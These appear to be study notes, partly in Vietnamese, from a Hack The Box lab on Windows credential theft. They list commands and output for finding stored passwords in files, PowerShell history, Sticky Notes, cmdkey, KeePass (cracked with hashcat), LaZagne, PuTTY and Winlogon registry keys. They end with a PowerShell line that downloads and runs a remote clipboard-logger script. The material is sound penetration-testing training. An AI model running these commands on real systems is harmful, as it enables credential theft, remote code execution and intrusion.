Credential Theft

Credentials Hunting

Command để hunting file có password

PS C:\htb> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

Powershell history save path

PS C:\htb> (Get-PSReadLineOption).HistorySavePath

C:\Users\htb-student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Sticky Notes Passwords

Location

 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

View sticky note db

PS C:\htb> ls
 
 
    Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/25/2021  11:59 AM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----         5/25/2021  11:59 AM            982 Ecs.dat
-a----         5/25/2021  11:59 AM           4096 plum.sqlite
-a----         5/25/2021  11:59 AM          32768 plum.sqlite-shm
-a----         5/25/2021  12:00 PM         197792 plum.sqlite-wal

CMDKey saved credentials

C:\htb> cmdkey /list

    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: inlanefreight\bob

Credentials này tự động fill khi RDP

Runas với saved credentials

PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE"

Extracting KeePass Hash

endy21@htb[/htb]$ python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx 

ILFREIGHT_Help_Desk:$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745d3465cf2e03086bc6f483d0*7df525a2b843990840b249324d55b6ce*75e830162befb17324d6be83853dbeb309ee38475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0259c19ec71a8b32f91b2aaaaf032740a39c154

endy21@htb[/htb]$ hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745d3465cf2e03086bc6f483d0*7df525a2b843990840b249324d55b6ce*75e830162befb17324d6be83853dbeb309ee38475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0259c19ec71a8b32f91b2aaaaf032740a39c154:panther1
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d...39c154
Time.Started.....: Fri Aug  6 11:17:47 2021 (22 secs)
Time.Estimated...: Fri Aug  6 11:18:09 2021 (0 secs)
Guess.Base.......: File (/opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      276 H/s (4.79ms) @ Accel:1024 Loops:16 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59984-60000
Candidates.#1....: 123456 -> iheartyou

Started: Fri Aug  6 11:17:45 2021
Stopped: Fri Aug  6 11:18:11 2021

Hunting Credent With LaZagne

PS C:\htb> .\lazagne.exe -h

usage: lazagne.exe [-h] [-version]
                   {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                   ...
				   
|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

positional arguments:
  {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                        Choose a main command
    chats               Run chats module
    mails               Run mails module
    all                 Run all modules
    git                 Run git module
    svn                 Run svn module
    windows             Run windows module
    wifi                Run wifi module
    maven               Run maven module
    sysadmin            Run sysadmin module
    browsers            Run browsers module
    games               Run games module
    multimedia          Run multimedia module
    memory              Run memory module
    databases           Run databases module
    php                 Run php module

optional arguments:
  -h, --help            show this help message and exit
  -version              laZagne version

PS C:\htb> .\lazagne.exe all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

########## User: jordan ##########

------------------- Winscp passwords -----------------

[+] Password found !!!
URL: transfer.inlanefreight.local
Login: root
Password: Summer2020!
Port: 22

------------------- Credman passwords -----------------

[+] Password found !!!
URL: dev01.dev.inlanefreight.local
Login: jordan_adm
Password: ! Q A Z z a q 1

[+] 2 passwords have been found.

For more information launch it again with the -v option

elapsed time = 5.50499987602

PUTTY

PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions

HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh

PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh

HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
    Present    REG_DWORD    0x1
    HostName    REG_SZ
    LogFileName    REG_SZ    putty.log
    
  <SNIP>
  
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x5
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    administrator
    ProxyPassword    REG_SZ    1_4m_th3_@cademy_4dm1n!    

Autologon

C:\htb>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    
    <SNIP>
    
    AutoAdminLogon    REG_SZ    1
    DefaultUserName    REG_SZ    htb-student
    DefaultPassword    REG_SZ    HTB_@cademy_stdnt!

Clipboard

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
PS C:\htb> Invoke-ClipboardLogger